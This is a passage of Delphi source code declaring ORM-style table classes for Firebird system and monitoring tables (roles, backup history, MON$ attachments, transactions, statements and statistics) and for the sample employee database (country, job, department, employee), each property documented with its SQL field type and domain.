function GetUnique: TRdbRolesTable;
published
/// <summary>
/// <para>Field: <b>RDB$ROLE_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RoleName: TSqlString read FRoleName;
/// <summary>
/// <para>Field: <b>RDB$OWNER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property OwnerName: TSqlString read FOwnerName;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
end;
TRdbBackupHistoryTable = class(TTable)
private
FBackupId: TSqlInteger;
FTimestamp: TSqlDateTime;
FBackupLevel: TSqlInteger;
FGuid: TSqlString;
FScn: TSqlInteger;
FFileName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbBackupHistoryTable;
published
/// <summary>
/// <para>Field: <b>RDB$BACKUP_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property BackupId: TSqlInteger read FBackupId;
/// <summary>
/// <para>Field: <b>RDB$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>RDB$BACKUP_LEVEL</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property BackupLevel: TSqlInteger read FBackupLevel;
/// <summary>
/// <para>Field: <b>RDB$GUID</b></para>
/// <para>Type: <b>CHAR(38) CHARACTER SET NONE</b></para>
/// </summary>
property Guid: TSqlString read FGuid;
/// <summary>
/// <para>Field: <b>RDB$SCN</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property Scn: TSqlInteger read FScn;
/// <summary>
/// <para>Field: <b>RDB$FILE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property FileName: TSqlString read FFileName;
end;
TMonDatabaseTable = class(TTable)
private
FDatabaseName: TSqlString;
FPageSize: TSqlSmallInt;
FOdsMajor: TSqlSmallInt;
FOdsMinor: TSqlSmallInt;
FOldestTransaction: TSqlInteger;
FOldestActive: TSqlInteger;
FOldestSnapshot: TSqlInteger;
FNextTransaction: TSqlInteger;
FPageBuffers: TSqlInteger;
FSqlDialect: TSqlSmallInt;
FShutdownMode: TSqlSmallInt;
FSweepInterval: TSqlInteger;
FReadOnly: TSqlSmallInt;
FForcedWrites: TSqlSmallInt;
FReserveSpace: TSqlSmallInt;
FCreationDate: TSqlDateTime;
FPages: TSqlInt64;
FStatId: TSqlInteger;
FBackupState: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TMonDatabaseTable;
published
/// <summary>
/// <para>Field: <b>MON$DATABASE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DatabaseName: TSqlString read FDatabaseName;
/// <summary>
/// <para>Field: <b>MON$PAGE_SIZE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property PageSize: TSqlSmallInt read FPageSize;
/// <summary>
/// <para>Field: <b>MON$ODS_MAJOR</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property OdsMajor: TSqlSmallInt read FOdsMajor;
/// <summary>
/// <para>Field: <b>MON$ODS_MINOR</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property OdsMinor: TSqlSmallInt read FOdsMinor;
/// <summary>
/// <para>Field: <b>MON$OLDEST_TRANSACTION</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property OldestTransaction: TSqlInteger read FOldestTransaction;
/// <summary>
/// <para>Field: <b>MON$OLDEST_ACTIVE</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property OldestActive: TSqlInteger read FOldestActive;
/// <summary>
/// <para>Field: <b>MON$OLDEST_SNAPSHOT</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property OldestSnapshot: TSqlInteger read FOldestSnapshot;
/// <summary>
/// <para>Field: <b>MON$NEXT_TRANSACTION</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property NextTransaction: TSqlInteger read FNextTransaction;
/// <summary>
/// <para>Field: <b>MON$PAGE_BUFFERS</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property PageBuffers: TSqlInteger read FPageBuffers;
/// <summary>
/// <para>Field: <b>MON$SQL_DIALECT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SqlDialect: TSqlSmallInt read FSqlDialect;
/// <summary>
/// <para>Field: <b>MON$SHUTDOWN_MODE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ShutdownMode: TSqlSmallInt read FShutdownMode;
/// <summary>
/// <para>Field: <b>MON$SWEEP_INTERVAL</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property SweepInterval: TSqlInteger read FSweepInterval;
/// <summary>
/// <para>Field: <b>MON$READ_ONLY</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ReadOnly: TSqlSmallInt read FReadOnly;
/// <summary>
/// <para>Field: <b>MON$FORCED_WRITES</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ForcedWrites: TSqlSmallInt read FForcedWrites;
/// <summary>
/// <para>Field: <b>MON$RESERVE_SPACE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ReserveSpace: TSqlSmallInt read FReserveSpace;
/// <summary>
/// <para>Field: <b>MON$CREATION_DATE</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property CreationDate: TSqlDateTime read FCreationDate;
/// <summary>
/// <para>Field: <b>MON$PAGES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property Pages: TSqlInt64 read FPages;
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
/// <summary>
/// <para>Field: <b>MON$BACKUP_STATE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property BackupState: TSqlSmallInt read FBackupState;
end;
TMonAttachmentsTable = class(TTable)
private
FAttachmentId: TSqlInteger;
FServerPid: TSqlInteger;
FState: TSqlSmallInt;
FAttachmentName: TSqlString;
FUser: TSqlString;
FRole: TSqlString;
FRemoteProtocol: TSqlString;
FRemoteAddress: TSqlString;
FRemotePid: TSqlInteger;
FCharacterSetId: TSqlSmallInt;
FTimestamp: TSqlDateTime;
FGarbageCollection: TSqlSmallInt;
FRemoteProcess: TSqlString;
FStatId: TSqlInteger;
public
constructor Create; override;
function GetUnique: TMonAttachmentsTable;
published
/// <summary>
/// <para>Field: <b>MON$ATTACHMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property AttachmentId: TSqlInteger read FAttachmentId;
/// <summary>
/// <para>Field: <b>MON$SERVER_PID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property ServerPid: TSqlInteger read FServerPid;
/// <summary>
/// <para>Field: <b>MON$STATE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property State: TSqlSmallInt read FState;
/// <summary>
/// <para>Field: <b>MON$ATTACHMENT_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property AttachmentName: TSqlString read FAttachmentName;
/// <summary>
/// <para>Field: <b>MON$USER</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property User: TSqlString read FUser;
/// <summary>
/// <para>Field: <b>MON$ROLE</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Role: TSqlString read FRole;
/// <summary>
/// <para>Field: <b>MON$REMOTE_PROTOCOL</b></para>
/// <para>Type: <b>VARCHAR(10) SUB_TYPE 2 CHARACTER SET ASCII</b></para>
/// </summary>
property RemoteProtocol: TSqlString read FRemoteProtocol;
/// <summary>
/// <para>Field: <b>MON$REMOTE_ADDRESS</b></para>
/// <para>Type: <b>VARCHAR(255) SUB_TYPE 2 CHARACTER SET ASCII</b></para>
/// </summary>
property RemoteAddress: TSqlString read FRemoteAddress;
/// <summary>
/// <para>Field: <b>MON$REMOTE_PID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property RemotePid: TSqlInteger read FRemotePid;
/// <summary>
/// <para>Field: <b>MON$CHARACTER_SET_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterSetId: TSqlSmallInt read FCharacterSetId;
/// <summary>
/// <para>Field: <b>MON$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>MON$GARBAGE_COLLECTION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property GarbageCollection: TSqlSmallInt read FGarbageCollection;
/// <summary>
/// <para>Field: <b>MON$REMOTE_PROCESS</b></para>
/// <para>Type: <b>VARCHAR(255) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RemoteProcess: TSqlString read FRemoteProcess;
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
end;
TMonTransactionsTable = class(TTable)
private
FTransactionId: TSqlInteger;
FAttachmentId: TSqlInteger;
FState: TSqlSmallInt;
FTimestamp: TSqlDateTime;
FTopTransaction: TSqlInteger;
FOldestTransaction: TSqlInteger;
FOldestActive: TSqlInteger;
FIsolationMode: TSqlSmallInt;
FLockTimeout: TSqlSmallInt;
FReadOnly: TSqlSmallInt;
FAutoCommit: TSqlSmallInt;
FAutoUndo: TSqlSmallInt;
FStatId: TSqlInteger;
public
constructor Create; override;
function GetUnique: TMonTransactionsTable;
published
/// <summary>
/// <para>Field: <b>MON$TRANSACTION_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property TransactionId: TSqlInteger read FTransactionId;
/// <summary>
/// <para>Field: <b>MON$ATTACHMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property AttachmentId: TSqlInteger read FAttachmentId;
/// <summary>
/// <para>Field: <b>MON$STATE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property State: TSqlSmallInt read FState;
/// <summary>
/// <para>Field: <b>MON$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>MON$TOP_TRANSACTION</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property TopTransaction: TSqlInteger read FTopTransaction;
/// <summary>
/// <para>Field: <b>MON$OLDEST_TRANSACTION</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property OldestTransaction: TSqlInteger read FOldestTransaction;
/// <summary>
/// <para>Field: <b>MON$OLDEST_ACTIVE</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property OldestActive: TSqlInteger read FOldestActive;
/// <summary>
/// <para>Field: <b>MON$ISOLATION_MODE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property IsolationMode: TSqlSmallInt read FIsolationMode;
/// <summary>
/// <para>Field: <b>MON$LOCK_TIMEOUT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property LockTimeout: TSqlSmallInt read FLockTimeout;
/// <summary>
/// <para>Field: <b>MON$READ_ONLY</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ReadOnly: TSqlSmallInt read FReadOnly;
/// <summary>
/// <para>Field: <b>MON$AUTO_COMMIT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property AutoCommit: TSqlSmallInt read FAutoCommit;
/// <summary>
/// <para>Field: <b>MON$AUTO_UNDO</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property AutoUndo: TSqlSmallInt read FAutoUndo;
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
end;
TMonStatementsTable = class(TTable)
private
FStatementId: TSqlInteger;
FAttachmentId: TSqlInteger;
FTransactionId: TSqlInteger;
FState: TSqlSmallInt;
FTimestamp: TSqlDateTime;
FSqlText: TSqlMemo;
FStatId: TSqlInteger;
public
constructor Create; override;
function GetUnique: TMonStatementsTable;
published
/// <summary>
/// <para>Field: <b>MON$STATEMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatementId: TSqlInteger read FStatementId;
/// <summary>
/// <para>Field: <b>MON$ATTACHMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property AttachmentId: TSqlInteger read FAttachmentId;
/// <summary>
/// <para>Field: <b>MON$TRANSACTION_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property TransactionId: TSqlInteger read FTransactionId;
/// <summary>
/// <para>Field: <b>MON$STATE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property State: TSqlSmallInt read FState;
/// <summary>
/// <para>Field: <b>MON$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>MON$SQL_TEXT</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SqlText: TSqlMemo read FSqlText;
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
end;
TMonCallStackTable = class(TTable)
private
FCallId: TSqlInteger;
FStatementId: TSqlInteger;
FCallerId: TSqlInteger;
FObjectName: TSqlString;
FObjectType: TSqlSmallInt;
FTimestamp: TSqlDateTime;
FSourceLine: TSqlInteger;
FSourceColumn: TSqlInteger;
FStatId: TSqlInteger;
public
constructor Create; override;
function GetUnique: TMonCallStackTable;
published
/// <summary>
/// <para>Field: <b>MON$CALL_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property CallId: TSqlInteger read FCallId;
/// <summary>
/// <para>Field: <b>MON$STATEMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatementId: TSqlInteger read FStatementId;
/// <summary>
/// <para>Field: <b>MON$CALLER_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property CallerId: TSqlInteger read FCallerId;
/// <summary>
/// <para>Field: <b>MON$OBJECT_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ObjectName: TSqlString read FObjectName;
/// <summary>
/// <para>Field: <b>MON$OBJECT_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ObjectType: TSqlSmallInt read FObjectType;
/// <summary>
/// <para>Field: <b>MON$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>MON$SOURCE_LINE</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property SourceLine: TSqlInteger read FSourceLine;
/// <summary>
/// <para>Field: <b>MON$SOURCE_COLUMN</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property SourceColumn: TSqlInteger read FSourceColumn;
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
end;
TMonIoStatsTable = class(TTable)
private
FStatId: TSqlInteger;
FStatGroup: TSqlSmallInt;
FPageReads: TSqlInt64;
FPageWrites: TSqlInt64;
FPageFetches: TSqlInt64;
FPageMarks: TSqlInt64;
public
constructor Create; override;
function GetUnique: TMonIoStatsTable;
published
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
/// <summary>
/// <para>Field: <b>MON$STAT_GROUP</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property StatGroup: TSqlSmallInt read FStatGroup;
/// <summary>
/// <para>Field: <b>MON$PAGE_READS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property PageReads: TSqlInt64 read FPageReads;
/// <summary>
/// <para>Field: <b>MON$PAGE_WRITES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property PageWrites: TSqlInt64 read FPageWrites;
/// <summary>
/// <para>Field: <b>MON$PAGE_FETCHES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property PageFetches: TSqlInt64 read FPageFetches;
/// <summary>
/// <para>Field: <b>MON$PAGE_MARKS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property PageMarks: TSqlInt64 read FPageMarks;
end;
TMonRecordStatsTable = class(TTable)
private
FStatId: TSqlInteger;
FStatGroup: TSqlSmallInt;
FRecordSeqReads: TSqlInt64;
FRecordIdxReads: TSqlInt64;
FRecordInserts: TSqlInt64;
FRecordUpdates: TSqlInt64;
FRecordDeletes: TSqlInt64;
FRecordBackouts: TSqlInt64;
FRecordPurges: TSqlInt64;
FRecordExpunges: TSqlInt64;
public
constructor Create; override;
function GetUnique: TMonRecordStatsTable;
published
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
/// <summary>
/// <para>Field: <b>MON$STAT_GROUP</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property StatGroup: TSqlSmallInt read FStatGroup;
/// <summary>
/// <para>Field: <b>MON$RECORD_SEQ_READS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordSeqReads: TSqlInt64 read FRecordSeqReads;
/// <summary>
/// <para>Field: <b>MON$RECORD_IDX_READS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordIdxReads: TSqlInt64 read FRecordIdxReads;
/// <summary>
/// <para>Field: <b>MON$RECORD_INSERTS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordInserts: TSqlInt64 read FRecordInserts;
/// <summary>
/// <para>Field: <b>MON$RECORD_UPDATES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordUpdates: TSqlInt64 read FRecordUpdates;
/// <summary>
/// <para>Field: <b>MON$RECORD_DELETES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordDeletes: TSqlInt64 read FRecordDeletes;
/// <summary>
/// <para>Field: <b>MON$RECORD_BACKOUTS</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordBackouts: TSqlInt64 read FRecordBackouts;
/// <summary>
/// <para>Field: <b>MON$RECORD_PURGES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordPurges: TSqlInt64 read FRecordPurges;
/// <summary>
/// <para>Field: <b>MON$RECORD_EXPUNGES</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property RecordExpunges: TSqlInt64 read FRecordExpunges;
end;
TMonContextVariablesTable = class(TTable)
private
FAttachmentId: TSqlInteger;
FTransactionId: TSqlInteger;
FVariableName: TSqlString;
FVariableValue: TSqlString;
public
constructor Create; override;
function GetUnique: TMonContextVariablesTable;
published
/// <summary>
/// <para>Field: <b>MON$ATTACHMENT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property AttachmentId: TSqlInteger read FAttachmentId;
/// <summary>
/// <para>Field: <b>MON$TRANSACTION_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property TransactionId: TSqlInteger read FTransactionId;
/// <summary>
/// <para>Field: <b>MON$VARIABLE_NAME</b></para>
/// <para>Type: <b>VARCHAR(80) CHARACTER SET NONE</b></para>
/// </summary>
property VariableName: TSqlString read FVariableName;
/// <summary>
/// <para>Field: <b>MON$VARIABLE_VALUE</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property VariableValue: TSqlString read FVariableValue;
end;
TMonMemoryUsageTable = class(TTable)
private
FStatId: TSqlInteger;
FStatGroup: TSqlSmallInt;
FMemoryUsed: TSqlInt64;
FMemoryAllocated: TSqlInt64;
FMaxMemoryUsed: TSqlInt64;
FMaxMemoryAllocated: TSqlInt64;
public
constructor Create; override;
function GetUnique: TMonMemoryUsageTable;
published
/// <summary>
/// <para>Field: <b>MON$STAT_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property StatId: TSqlInteger read FStatId;
/// <summary>
/// <para>Field: <b>MON$STAT_GROUP</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property StatGroup: TSqlSmallInt read FStatGroup;
/// <summary>
/// <para>Field: <b>MON$MEMORY_USED</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property MemoryUsed: TSqlInt64 read FMemoryUsed;
/// <summary>
/// <para>Field: <b>MON$MEMORY_ALLOCATED</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property MemoryAllocated: TSqlInt64 read FMemoryAllocated;
/// <summary>
/// <para>Field: <b>MON$MAX_MEMORY_USED</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property MaxMemoryUsed: TSqlInt64 read FMaxMemoryUsed;
/// <summary>
/// <para>Field: <b>MON$MAX_MEMORY_ALLOCATED</b></para>
/// <para>Type: <b>BIGINT</b></para>
/// </summary>
property MaxMemoryAllocated: TSqlInt64 read FMaxMemoryAllocated;
end;
TCountryTable = class(TTable)
private
FCountry: TCountrynameDomain;
FCurrency: TSqlString;
public
constructor Create; override;
function GetUnique: TCountryTable;
published
/// <summary>
/// <para>Field: <b>COUNTRY</b></para>
/// <para>Type: <b>COUNTRYNAME NOT NULL</b></para>
/// <para>Domain: COUNTRYNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property Country: TCountrynameDomain read FCountry;
/// <summary>
/// <para>Field: <b>CURRENCY</b></para>
/// <para>Type: <b>VARCHAR(10) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property Currency: TSqlString read FCurrency;
end;
TJobTable = class(TTable)
private
FJobCode: TJobcodeDomain;
FJobGrade: TJobgradeDomain;
FJobCountry: TCountrynameDomain;
FJobTitle: TSqlString;
FMinSalary: TSalaryDomain;
FMaxSalary: TSalaryDomain;
FJobRequirement: TSqlMemo;
FLanguageReq: TSqlString;
public
constructor Create; override;
function GetUnique: TJobTable;
published
/// <summary>
/// <para>Field: <b>JOB_CODE</b></para>
/// <para>Type: <b>JOBCODE NOT NULL</b></para>
/// <para>Domain: JOBCODE = VARCHAR(5) CHARACTER SET NONE CHECK (VALUE > '99999') COLLATE NONE</para>
/// </summary>
property JobCode: TJobcodeDomain read FJobCode;
/// <summary>
/// <para>Field: <b>JOB_GRADE</b></para>
/// <para>Type: <b>JOBGRADE NOT NULL</b></para>
/// <para>Domain: JOBGRADE = SMALLINT CHECK (VALUE BETWEEN 0 AND 6)</para>
/// </summary>
property JobGrade: TJobgradeDomain read FJobGrade;
/// <summary>
/// <para>Field: <b>JOB_COUNTRY</b></para>
/// <para>Type: <b>COUNTRYNAME NOT NULL</b></para>
/// <para>Domain: COUNTRYNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property JobCountry: TCountrynameDomain read FJobCountry;
/// <summary>
/// <para>Field: <b>JOB_TITLE</b></para>
/// <para>Type: <b>VARCHAR(25) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property JobTitle: TSqlString read FJobTitle;
/// <summary>
/// <para>Field: <b>MIN_SALARY</b></para>
/// <para>Type: <b>SALARY NOT NULL</b></para>
/// <para>Domain: SALARY = NUMERIC(10, 2) DEFAULT 0 CHECK (VALUE > 0)</para>
/// </summary>
property MinSalary: TSalaryDomain read FMinSalary;
/// <summary>
/// <para>Field: <b>MAX_SALARY</b></para>
/// <para>Type: <b>SALARY NOT NULL</b></para>
/// <para>Domain: SALARY = NUMERIC(10, 2) DEFAULT 0 CHECK (VALUE > 0)</para>
/// </summary>
property MaxSalary: TSalaryDomain read FMaxSalary;
/// <summary>
/// <para>Field: <b>JOB_REQUIREMENT</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 400 CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property JobRequirement: TSqlMemo read FJobRequirement;
/// <summary>
/// <para>Field: <b>LANGUAGE_REQ</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property LanguageReq: TSqlString read FLanguageReq;
end;
TDepartmentTable = class(TTable)
private
FDeptNo: TDeptnoDomain;
FDepartment: TSqlString;
FHeadDept: TDeptnoDomain;
FMngrNo: TEmpnoDomain;
FBudget: TBudgetDomain;
FLocation: TSqlString;
FPhoneNo: TPhonenumberDomain;
public
constructor Create; override;
function GetUnique: TDepartmentTable;
published
/// <summary>
/// <para>Field: <b>DEPT_NO</b></para>
/// <para>Type: <b>DEPTNO NOT NULL</b></para>
/// <para>Domain: DEPTNO = CHAR(3) CHARACTER SET NONE CHECK (VALUE = '000' OR (VALUE > '0' AND VALUE <= '999') OR VALUE IS NULL) COLLATE NONE</para>
/// </summary>
property DeptNo: TDeptnoDomain read FDeptNo;
/// <summary>
/// <para>Field: <b>DEPARTMENT</b></para>
/// <para>Type: <b>VARCHAR(25) CHARACTER SET NONE NOT NULL COLLATE NONE</b></para>
/// </summary>
property Department: TSqlString read FDepartment;
/// <summary>
/// <para>Field: <b>HEAD_DEPT</b></para>
/// <para>Type: <b>DEPTNO</b></para>
/// <para>Domain: DEPTNO = CHAR(3) CHARACTER SET NONE CHECK (VALUE = '000' OR (VALUE > '0' AND VALUE <= '999') OR VALUE IS NULL) COLLATE NONE</para>
/// </summary>
property HeadDept: TDeptnoDomain read FHeadDept;
/// <summary>
/// <para>Field: <b>MNGR_NO</b></para>
/// <para>Type: <b>EMPNO</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property MngrNo: TEmpnoDomain read FMngrNo;
/// <summary>
/// <para>Field: <b>BUDGET</b></para>
/// <para>Type: <b>BUDGET</b></para>
/// <para>Domain: BUDGET = DECIMAL(12, 2) DEFAULT 50000 CHECK (VALUE > 10000 AND VALUE <= 2000000)</para>
/// </summary>
property Budget: TBudgetDomain read FBudget;
/// <summary>
/// <para>Field: <b>LOCATION</b></para>
/// <para>Type: <b>VARCHAR(15) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property Location: TSqlString read FLocation;
/// <summary>
/// <para>Field: <b>PHONE_NO</b></para>
/// <para>Type: <b>PHONENUMBER DEFAULT '555-1234'</b></para>
/// <para>Domain: PHONENUMBER = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property PhoneNo: TPhonenumberDomain read FPhoneNo;
end;
TEmployeeTable = class(TTable)
private
FEmpNo: TEmpnoDomain;
FFirstName: TFirstnameDomain;
FLastName: TLastnameDomain;
FPhoneExt: TSqlString;
FHireDate: TSqlDateTime;
FDeptNo: TDeptnoDomain;
FJobCode: TJobcodeDomain;
FJobGrade: TJobgradeDomain;
FJobCountry: TCountrynameDomain;
FSalary: TSalaryDomain;
FFullName: TSqlString;
public
constructor Create; override;
function GetUnique: TEmployeeTable;
published
/// <summary>
/// <para>Field: <b>EMP_NO</b></para>
/// <para>Type: <b>EMPNO NOT NULL</b></para>
/// <para>Domain: EMPNO = SMALLINT</para>
/// </summary>
property EmpNo: TEmpnoDomain read FEmpNo;
/// <summary>
/// <para>Field: <b>FIRST_NAME</b></para>
/// <para>Type: <b>FIRSTNAME NOT NULL</b></para>
/// <para>Domain: FIRSTNAME = VARCHAR(15) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property FirstName: TFirstnameDomain read FFirstName;
/// <summary>
/// <para>Field: <b>LAST_NAME</b></para>
/// <para>Type: <b>LASTNAME NOT NULL</b></para>
/// <para>Domain: LASTNAME = VARCHAR(20) CHARACTER SET NONE COLLATE NONE</para>
/// </summary>
property LastName: TLastnameDomain read FLastName;
/// <summary>
/// <para>Field: <b>PHONE_EXT</b></para>
/// <para>Type: <b>VARCHAR(4) CHARACTER SET NONE COLLATE NONE</b></para>
/// </summary>
property PhoneExt: TSqlString read FPhoneExt;
/// <summary>
/// <para>Field: <b>HIRE_DATE</b></para>
/// <para>Type: <b>TIMESTAMP DEFAULT 'NOW' NOT NULL</b></para>
/// </summary>
property HireDate: TSqlDateTime read FHireDate;
/// <summary>
/// <para>Field: <b>DEPT_NO</b></para>
/// <para>Type: <b>DEPTNO NOT NULL</b></para>
